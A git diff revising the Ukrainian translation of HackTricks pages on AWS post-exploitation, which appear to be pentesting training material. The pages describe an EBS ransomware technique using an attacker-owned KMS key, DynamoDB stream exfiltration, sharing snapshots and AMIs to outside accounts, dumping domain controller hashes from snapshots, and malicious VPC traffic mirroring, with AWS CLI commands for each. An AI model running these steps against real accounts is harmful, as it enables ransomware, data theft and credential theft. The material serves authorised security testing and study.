diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index ddd8a29cc..95bca86a8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -6,13 +6,13 @@ ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -Атака програм-вимагачів може бути виконана шляхом шифрування якомога більшої кількості EBS томів, а потім видалення поточних EC2 екземплярів, EBS томів та знімків. Щоб автоматизувати цю злочинну діяльність, можна використовувати Amazon DLM, шифруючи знімки за допомогою KMS ключа з іншого AWS облікового запису та передаючи зашифровані знімки до іншого облікового запису. Альтернативно, вони можуть передавати знімки без шифрування до облікового запису, яким вони керують, а потім зашифровувати їх там. Хоча не просто зашифрувати існуючі EBS томи або знімки безпосередньо, це можливо зробити, створивши новий том або знімок. +Атака програм-вимагачів може бути виконана шляхом шифрування якомога більшої кількості EBS томів, а потім видалення поточних EC2 екземплярів, EBS томів та знімків. Щоб автоматизувати цю злочинну діяльність, можна використовувати Amazon DLM, шифруючи знімки за допомогою KMS ключа з іншого AWS облікового запису та передаючи зашифровані знімки до іншого облікового запису. Альтернативно, вони можуть передавати знімки без шифрування до облікового запису, яким вони керують, а потім шифрувати їх там. Хоча не просто зашифрувати існуючі EBS томи або знімки безпосередньо, це можливо зробити, створивши новий том або знімок. -По-перше, потрібно використовувати команду для збору інформації про томи, такі як ID екземпляра, ID тому, статус шифрування, статус підключення та тип тому. +По-перше, потрібно буде використати команду для збору інформації про томи, такі як ID екземпляра, ID тому, статус шифрування, статус підключення та тип тому. `aws ec2 describe-volumes` -По-друге, потрібно створити політику життєвого циклу. Ця команда використовує DLM API для налаштування політики життєвого циклу, яка автоматично робить щоденні знімки вказаних томів у визначений час. Вона також застосовує специфічні теги до знімків і копіює теги з томів до знімків. Файл policyDetails.json містить специфікації політики життєвого циклу, такі як цільові теги, розклад, ARN необов'язкового KMS ключа для шифрування та цільовий обліковий запис для спільного використання знімків, що буде зафіксовано в журналах CloudTrail жертви. +По-друге, потрібно буде створити політику життєвого циклу. Ця команда використовує DLM API для налаштування політики життєвого циклу, яка автоматично робить щоденні знімки вказаних томів у визначений час. Вона також застосовує певні теги до знімків і копіює теги з томів до знімків. Файл policyDetails.json містить специфікації політики життєвого циклу, такі як цільові теги, розклад, ARN необов'язкового KMS ключа для шифрування та цільовий обліковий запис для спільного використання знімків, що буде зафіксовано в журналах CloudTrail жертви. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index 925b4e390..06ae4b419 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -З цим дозволом також можливо використовувати метод **`transact-get-items`** так: +З цими дозволами також можливо використовувати метод **`transact-get-items`** так: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -79,7 +79,7 @@ aws dynamodb transact-get-items \ ### `dynamodb:Query` -**Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, враховуючи первинний ключ запису для отримання. Дозволяє використовувати [підмножину порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, яке дозволено з первинним ключем (яке повинно з'являтися) - це "EQ", тому ви не можете використовувати порівняння, щоб отримати всю БД в одному запиті. +**Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, якщо відомий первинний ключ запису, який потрібно отримати. Дозволяє використовувати [підмножину порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, яке дозволено з первинним ключем (який повинен з'являтися), це "EQ", тому ви не можете використовувати порівняння, щоб отримати всю БД в одному запиті. {{#tabs }} {{#tab name="json file" }} @@ -124,7 +124,7 @@ aws dynamodb scan --table-name #Get data inside the table aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Ця дозволяє виконувати `batch-execute-statement`, такі як: +Ця дозволяє виконувати `batch-execute-statement`, наприклад: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' @@ -242,7 +242,7 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Потенційний вплив:** Експлуатація подальших вразливостей/обхідних шляхів, маючи можливість додавати/модифікувати дані в таблиці DynamoDB +**Потенційний вплив:** Експлуатація подальших вразливостей/обхідних шляхів шляхом можливості додавати/модифікувати дані в таблиці DynamoDB ### `dynamodb:DeleteTable` @@ -269,7 +269,7 @@ aws dynamodb delete-backup \ > [!NOTE] > TODO: Перевірити, чи це дійсно працює -Зловмисник з цими дозволами може **увімкнути потік на таблиці DynamoDB, оновити таблицю, щоб почати транслювати зміни, а потім отримати доступ до потоку для моніторингу змін у таблиці в реальному часі**. Це дозволяє зловмиснику моніторити та ексфільтрувати зміни даних, що потенційно призводить до витоку даних. +Зловмисник з цими дозволами може **увімкнути потік на таблиці DynamoDB, оновити таблицю для початку потокового зміни даних, а потім отримати доступ до потоку для моніторингу змін у таблиці в реальному часі**. Це дозволяє зловмиснику моніторити та ексфільтрувати зміни даних, що потенційно призводить до витоку даних. 1. Увімкніть потік на таблиці DynamoDB: ```bash @@ -284,7 +284,7 @@ bashCopy codeaws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. Отримайте ітератор шардів, використовуючи ARN потоку: +3. Отримайте ітератор шард за допомогою ARN потоку: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ --stream-arn \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index f3d8b7560..aec874255 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,4 +1,4 @@ -# AWS - EC2, EBS, SSM & VPC Post Exploitation +# AWS - EC2, EBS, SSM & VPC Постексплуатація {{#include ../../../../banners/hacktricks-training.md}} @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Снімки є резервними копіями томів**, які зазвичай міститимуть **чутливу інформацію**, тому їх перевірка повинна розкрити цю інформацію.\ -Якщо ви знайдете **том без снімка**, ви можете: **Створити снімок** і виконати наступні дії або просто **підключити його до екземпляра** в обліковому записі: +**Снапшоти є резервними копіями томів**, які зазвичай міститимуть **чутливу інформацію**, тому їх перевірка повинна розкрити цю інформацію.\ +Якщо ви знайдете **том без снапшота**, ви можете: **Створити снапшот** і виконати наступні дії або просто **підключити його до екземпляра** в обліковому записі: {{#ref}} aws-ebs-snapshot-dump.md @@ -60,10 +60,10 @@ aws-ebs-snapshot-dump.md #### DNS Exfiltration -Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може **екстрагувати дані через DNS**. +Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може **екстрагуватися через DNS**. -- **Журнали VPC Flow не зафіксують це**. -- У вас немає доступу до журналів AWS DNS. +- **VPC Flow Logs не зафіксують це**. +- У вас немає доступу до AWS DNS журналів. - Вимкніть це, встановивши "enableDnsSupport" на false за допомогою: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` @@ -74,7 +74,7 @@ aws-ebs-snapshot-dump.md ### Open Security Group -Ви можете отримати подальший доступ до мережевих служб, відкривши порти таким чином: +Ви можете отримати подальший доступ до мережевих сервісів, відкривши порти таким чином: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC @@ -106,7 +106,7 @@ aws ssm start-session --target "$INSTANCE_ID" ``` 3. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) 4. Перенесіть облікові дані на свій комп'ютер у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]` -5. Увійдіть в EKS як Bastion EC2: +5. Увійдіть до EKS як Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` @@ -115,13 +115,13 @@ aws eks update-kubeconfig --profile bastion-ec2 --region -- ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Трафік з інструменту `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашої власної машини, запустивши: +8. Трафік з інструменту `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашого власного комп'ютера, запустивши: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через безпечний тунель AWS SSM, ви захищені від будь-яких атак MitM. +Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через безпечний AWS SSM тунель, ви захищені від будь-яких атак MitM. -Нарешті, ця техніка не є специфічною для атак на приватні кластери EKS. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або до власного застосунку. +Нарешті, ця техніка не є специфічною для атак на приватні EKS кластери. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або до власного застосунку. ### Share AMI ```bash @@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ``` ### Пошук чутливої інформації в публічних та приватних AMI -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel - це інструмент, призначений для **пошуку чутливої інформації в публічних або приватних образах Amazon Machine Images (AMIs)**. Він автоматизує процес запуску екземплярів з цільових AMI, монтування їхніх томів та сканування на наявність потенційних секретів або чутливих даних. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel - це інструмент, призначений для **пошуку чутливої інформації в публічних або приватних образах машин Amazon (AMIs)**. Він автоматизує процес запуску екземплярів з цільових AMI, монтування їх томів та сканування на наявність потенційних секретів або чутливих даних. ### Поділитися знімком EBS ```bash @@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках про пост-експлуатацію S3. KMS слід перейменувати на RMS для Ransomware Management Service, з огляду на те, як легко його використовувати для шифрування різних сервісів AWS. +Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках з пост-експлуатації S3. KMS слід перейменувати на RMS для Ransomware Management Service, враховуючи, як легко його використовувати для шифрування різних сервісів AWS. -Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований користувачем, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа за мене, але в реалістичному сценарії зловмисник зберігатиме дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому обліковому запису AWS Principal використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption' +Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований клієнтом, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа, але в реалістичному сценарії зловмисник зберігатиме дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому обліковому запису AWS Principal використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -231,7 +231,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -Правило політики ключа потребує наступного для дозволу на використання його для шифрування обсягу EBS: +Правило політики ключа потребує активації наступних параметрів, щоб дозволити його використання для шифрування обсягу EBS: - `kms:CreateGrant` - `kms:Decrypt` @@ -239,13 +239,13 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Тепер, з публічно доступним ключем для використання. Ми можемо використовувати обліковий запис 'жертви', який має кілька EC2 екземплярів з прикріпленими нешифрованими обсягами EBS. Обсяги EBS цього 'жертви' є тим, що ми намагаємося зашифрувати, ця атака відбувається за припущенням про злом високопривілейованого облікового запису AWS. +Тепер, маючи публічно доступний ключ для використання. Ми можемо використовувати обліковий запис 'жертви', в якому запущені деякі EC2 екземпляри з прикріпленими нешифрованими обсягами EBS. Обсяги EBS цього 'жертви' є нашою метою для шифрування, ця атака здійснюється за припущенням про злом облікового запису AWS з високими привілеями. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Схоже на приклад програм-вимагачів S3. Ця атака створить копії прикріплених обсягів EBS, використовуючи знімки, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від EC2 екземплярів і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Подібно до прикладу з програмою-вимагачем S3. Ця атака створить копії прикріплених обсягів EBS, використовуючи знімки, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від EC2 екземплярів і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Це призводить до того, що в обліковому записі залишаються лише зашифровані обсяги EBS. +В результаті залишаться лише зашифровані обсяги EBS, доступні в обліковому записі. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) @@ -328,11 +328,11 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Але коли ви спробуєте фактично запустити EC2-екземпляр з зашифрованим EBS-томом, він просто не вдасться і перейде з стану 'очікування' назад у стан 'зупинено' назавжди, оскільки приєднаний EBS-том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше цього не дозволяє. +Але коли ви спробуєте фактично запустити EC2-екземпляр з зашифрованим EBS-томом, він просто зазнає невдачі і знову перейде з стану 'очікування' в стан 'зупинено' назавжди, оскільки приєднаний EBS-том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше не дозволяє це. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Це python-скрипт, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та загальнодоступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS-томів, приєднаних до ВСІХ EC2-екземплярів у цільовому обліковому записі AWS, потім зупинить кожен EC2-екземпляр, від'єднає оригінальні EBS-томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS-томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS-ТОМИ. Ви можете відновити їх, використовуючи KMS-ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що в кінцевому підсумку це є PoC програм-вимагачів. +Це скрипт на python, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та загальнодоступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS-томів, приєднаних до ВСІХ EC2-екземплярів у цільовому обліковому записі AWS, потім зупинить кожен EC2-екземпляр, від'єднає оригінальні EBS-томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS-томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS-ТОМИ. Ви можете відновити їх, використовуючи використаний KMS-ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що в кінцевому підсумку це є PoC програм-вимагачів. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 579663046..c385f57b6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -54,22 +54,22 @@ aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` -**Прикріпіть його до EC2 VM під вашим контролем** (він має бути в тому ж регіоні, що й копія резервної копії): +**Підключіть його до EC2 VM під вашим контролем** (він має бути в тому ж регіоні, що й копія резервної копії): Крок 1: Необхідно створити новий об'єм вашого вибраного розміру та типу, перейшовши до EC2 –> Об'єми. -Щоб виконати цю дію, виконайте такі команди: +Щоб виконати цю дію, виконайте ці команди: - Створіть об'єм EBS для підключення до EC2 екземпляра. - Переконайтеся, що об'єм EBS та екземпляр знаходяться в одній зоні. -Крок 2: Виберіть опцію "прикріпити об'єм", клацнувши правою кнопкою миші на створеному об'ємі. +Крок 2: Виберіть опцію "підключити об'єм", клацнувши правою кнопкою миші на створеному об'ємі. Крок 3: Виберіть екземпляр з текстового поля екземпляра. Щоб виконати цю дію, використовуйте наступну команду: -- Прикріпіть об'єм EBS. +- Підключіть об'єм EBS. Крок 4: Увійдіть до екземпляра EC2 та перелікуйте доступні диски, використовуючи команду `lsblk`. @@ -79,15 +79,15 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps Крок 6: Форматуйте об'єм у файлову систему ext4, використовуючи команду `sudo mkfs -t ext4 /dev/xvdf`. Альтернативно, ви також можете використовувати формат xfs, використовуючи команду `sudo mkfs -t xfs /dev/xvdf`. Зверніть увагу, що ви повинні використовувати або ext4, або xfs. -Крок 7: Створіть каталог на ваш вибір для монтування нового об'єму ext4. Наприклад, ви можете використовувати назву "newvolume". +Крок 7: Створіть каталог на ваш вибір для підключення нового об'єму ext4. Наприклад, ви можете використовувати назву "newvolume". Щоб виконати цю дію, використовуйте команду `sudo mkdir /newvolume`. -Крок 8: Прикрепіть об'єм до каталогу "newvolume", використовуючи команду `sudo mount /dev/xvdf /newvolume/`. +Крок 8: Підключіть об'єм до каталогу "newvolume", використовуючи команду `sudo mount /dev/xvdf /newvolume/`. -Крок 9: Змініть каталог на каталог "newvolume" і перевірте дисковий простір, щоб підтвердити монтування об'єму. +Крок 9: Змініть каталог на каталог "newvolume" і перевірте дисковий простір, щоб підтвердити підключення об'єму. -Щоб виконати цю дію, використовуйте такі команди: +Щоб виконати цю дію, використовуйте наступні команди: - Змініть каталог на `/newvolume`. - Перевірте дисковий простір, використовуючи команду `df -h .`. Вихід цієї команди має показувати вільний простір у каталозі "newvolume". @@ -122,7 +122,7 @@ ls /mnt ``` ## Shadow Copy -Будь-який користувач AWS, який має дозвіл **`EC2:CreateSnapshot`**, може вкрасти хеші всіх доменних користувачів, створивши **знімок Контролера домену**, змонтувавши його на екземплярі, який вони контролюють, і **експортувавши NTDS.dit та SYSTEM** реєстровий файл для використання з проектом secretsdump від Impacket. +Будь-який користувач AWS, який має дозвіл **`EC2:CreateSnapshot`**, може вкрасти хеші всіх доменних користувачів, створивши **знімок Контролера домену**, підключивши його до екземпляра, який вони контролюють, і **експортувавши NTDS.dit та SYSTEM** реєстровий файл для використання з проектом secretsdump від Impacket. Ви можете використовувати цей інструмент для автоматизації атаки: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) або ви можете використовувати одну з попередніх технік після створення знімка. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index 61c755f8f..533579a7b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -2,14 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** +**Перевірте** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **для отримання додаткової інформації про атаку!** -Пасивна мережна інспекція в хмарному середовищі була **складною**, вимагала значних змін конфігурації для моніторингу мережевого трафіку. Однак AWS представила нову функцію під назвою “**VPC Traffic Mirroring**”, щоб спростити цей процес. З VPC Traffic Mirroring мережевий трафік у VPC може бути **дубльований** без встановлення будь-якого програмного забезпечення на самих екземплярах. Цей дубльований трафік може бути надісланий до системи виявлення мережевих вторгнень (IDS) для **аналізу**. +Пасивна мережна інспекція в хмарному середовищі є **складною**, вимагаючи значних змін конфігурації для моніторингу мережевого трафіку. Однак AWS представила нову функцію під назвою “**VPC Traffic Mirroring**”, щоб спростити цей процес. Завдяки VPC Traffic Mirroring мережевий трафік у VPC може бути **дубльований** без встановлення будь-якого програмного забезпечення на самих екземплярах. Цей дубльований трафік може бути надісланий до системи виявлення мережевих вторгнень (IDS) для **аналізу**. Щоб задовольнити потребу в **автоматизованому розгортанні** необхідної інфраструктури для дублювання та ексфільтрації трафіку VPC, ми розробили скрипт доведення концепції під назвою “**malmirror**”. Цей скрипт можна використовувати з **компрометованими AWS обліковими даними** для налаштування дублювання для всіх підтримуваних EC2 екземплярів у цільовому VPC. Важливо зазначити, що VPC Traffic Mirroring підтримується лише EC2 екземплярами, які працюють на системі AWS Nitro, і ціль дзеркала VPC повинна бути в тому ж VPC, що й дзеркальні хости. **Вплив** зловмисного дублювання трафіку VPC може бути значним, оскільки це дозволяє зловмисникам отримувати доступ до **чутливої інформації**, що передається в межах VPC. **Ймовірність** такого зловмисного дублювання висока, враховуючи наявність **трафіку у відкритому тексті**, що проходить через VPC. Багато компаній використовують протоколи у відкритому тексті в своїх внутрішніх мережах з **причин продуктивності**, вважаючи, що традиційні атаки "людина посередині" неможливі. -Для отримання додаткової інформації та доступу до [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) його можна знайти в нашому **репозиторії GitHub**. Скрипт автоматизує та спрощує процес, роблячи його **швидким, простим і повторюваним** для цілей наступальних досліджень. +Для отримання додаткової інформації та доступу до [**скрипту malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) його можна знайти в нашому **репозиторії GitHub**. Скрипт автоматизує та спрощує процес, роблячи його **швидким, простим і повторюваним** для цілей наступальних досліджень. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index efd143261..3e2982c0c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -4,7 +4,7 @@ ## ECR -Для отримання додаткової інформації перегляньте +Для отримання додаткової інформації перевірте {{#ref}} ../aws-services/aws-ecr-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 87fae3b05..0177b6c59 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -20,15 +20,15 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou {{#endref}} > [!CAUTION] -> Зверніть увагу, що якщо EC2 екземпляр застосовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість пересилок 1**, що ускладнює доступ до метаданих EC2 з контейнера всередині EC2 екземпляра. +> Зверніть увагу, що якщо EC2 екземпляр застосовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість переходів 1**, що ускладнює доступ до метаданих EC2 з контейнера всередині EC2 екземпляра. ### Privesc to node to steal other containers creds & secrets -Більше того, EC2 використовує docker для виконання завдань ECs, тому якщо ви зможете втекти до вузла або **отримати доступ до сокета docker**, ви зможете **перевірити**, які **інші контейнери** запущені, і навіть **потрапити всередину них** та **вкрасти їх IAM ролі**. +Більше того, EC2 використовує docker для виконання завдань ECs, тому якщо ви зможете втекти на вузол або **отримати доступ до сокета docker**, ви зможете **перевірити**, які **інші контейнери** запущені, і навіть **потрапити всередину них** та **вкрасти їх IAM ролі**. #### Making containers run in current host -Крім того, **роль EC2 екземпляра** зазвичай матиме достатньо **дозволів** для **оновлення стану контейнерного екземпляра** EC2 екземплярів, що використовуються як вузли в кластері. Зловмисник може змінити **стан екземпляра на DRAINING**, тоді ECS **видалить всі завдання з нього**, а ті, що виконуються як **REPLICA**, будуть **виконуватися в іншому екземплярі**, потенційно всередині **екземпляра зловмисника**, щоб він міг **вкрасти їх IAM ролі** та потенційно чутливу інформацію зсередини контейнера. +Крім того, **роль EC2 екземпляра** зазвичай матиме достатньо **дозволів** для **оновлення стану контейнерного екземпляра** EC2 екземплярів, що використовуються як вузли всередині кластера. Зловмисник може змінити **стан екземпляра на DRAINING**, тоді ECS **видалить всі завдання з нього**, а ті, що виконуються як **REPLICA**, будуть **виконуватися в іншому екземплярі**, потенційно всередині **екземпляра зловмисника**, щоб він міг **вкрасти їх IAM ролі** та потенційно чутливу інформацію зсередини контейнера. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 9f880b458..14ffb8130 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -36,7 +36,7 @@ aws efs update-file-system --file-system-id --provisioned-throughput-in- ### `elasticfilesystem:CreateAccessPoint` та `elasticfilesystem:DeleteAccessPoint` -Зловмисник може створити або видалити точки доступу, змінюючи контроль доступу і потенційно надаючи собі несанкціонований доступ до файлової системи. +Зловмисник може створити або видалити точки доступу, змінюючи контроль доступу та 